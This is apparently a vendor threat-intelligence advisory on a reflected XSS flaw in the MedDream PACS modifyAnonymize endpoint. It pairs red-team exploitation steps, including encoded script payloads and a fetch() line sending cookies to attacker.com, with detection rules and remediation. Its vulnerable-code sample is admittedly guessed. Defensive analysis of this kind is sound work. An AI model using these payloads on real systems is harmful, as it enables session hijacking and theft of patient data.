CVE-2025-55071

Executive Summary

CVE-2025-55071 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw exists in the modifyAnonymize functionality, allowing an attacker to inject arbitrary JavaScript via a specially crafted URL. When a victim clicks the malicious link, the script executes in the context of the MedDream PACS session, potentially leading to data theft, session hijacking, or further compromise of the PACS environment. No patch is currently available, and no public exploit code has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a malicious link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can be exploited remotely without authentication. The impact is limited to low confidentiality and integrity loss, but in a medical PACS environment, even low-level data exposure can have serious compliance implications (HIPAA, GDPR).

Deep Dive & Mechanics

The vulnerability resides in the modifyAnonymize endpoint of MedDream PACS Premium. This endpoint is used to modify anonymization settings for medical images. The application fails to properly sanitize user-supplied input reflected in the response, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a parameter passed to modifyAnonymize.
2. The attacker sends the URL to a victim (e.g., via phishing email or social engineering).
3. The victim, authenticated to the MedDream PACS system, clicks the link.
4. The server reflects the malicious input without proper encoding, causing the browser to execute the injected script.
5. The script can steal session cookies, exfiltrate patient data, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation on the reflected parameter in the modifyAnonymize response.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:

// Vulnerable: directly reflects user input
function modifyAnonymize(param) {
    document.getElementById("output").innerHTML = param;
}

A patched version would use safe DOM methods:

// Patched: uses textContent to prevent XSS
function modifyAnonymize(param) {
    document.getElementById("output").textContent = param;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a MedDream PACS Premium 7.3.6.870 instance (or similar version).
• A victim user authenticated to the PACS system.

Exploitation Steps:

1. Identify the vulnerable parameter in the modifyAnonymize endpoint (e.g., ?param=).
2. Craft a malicious URL:

   https://pacs.example.com/modifyAnonymize?param=<script>alert('XSS')</script>
   

3. Encode the payload to evade filters:

   https://pacs.example.com/modifyAnonymize?param=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
   

4. Deliver the URL to the victim via phishing or social engineering.
5. Upon click, the script executes in the victim's browser.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor web logs for suspicious modifyAnonymize requests containing script tags or encoded JavaScript.
• Look for unusual referrer headers or user-agent strings.
• Deploy a WAF rule to block reflected XSS patterns.

Hunting:

• Search for modifyAnonymize in web server logs and inspect parameters for HTML/JavaScript.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Indicators of Compromise (IOCs)

• URL Pattern: */modifyAnonymize?param=*<script>*
• Network Traffic: HTTP requests to modifyAnonymize with encoded JavaScript in the param parameter.
• Log Entries: Web server logs showing modifyAnonymize with %3Cscript%3E or similar patterns.
• File Artifacts: None expected (reflected XSS leaves no files on the server).

Detection Engineering

YARA Rule

rule CVE_2025_55071_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS modifyAnonymize endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-55071"
    strings:
        $url_pattern = "/modifyAnonymize"
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $encoded_xss = /%3Cscript%3E|%3C%2Fscript%3E/i
    condition:
        $url_pattern and ($xss_payload or $encoded_xss)
}

Sigma Rule

title: MedDream PACS Reflected XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against MedDream PACS modifyAnonymize endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/modifyAnonymize"
        cs-uri-query|contains: 
            - "<script"
            - "%3Cscript%3E"
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-malicious contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55071 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/modifyAnonymize"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the modifyAnonymize endpoint if not essential, or restrict access to trusted IPs.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Educate users about phishing risks and not clicking suspicious links.

Long-Term Fix:

• Apply input validation and output encoding on all user-supplied data reflected in responses.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitor vendor for patches and apply as soon as available.

Workaround:

• If source code is accessible, modify the modifyAnonymize function to use textContent instead of innerHTML.

Valters IT
DevSecOps & Cyber Threat Intelligence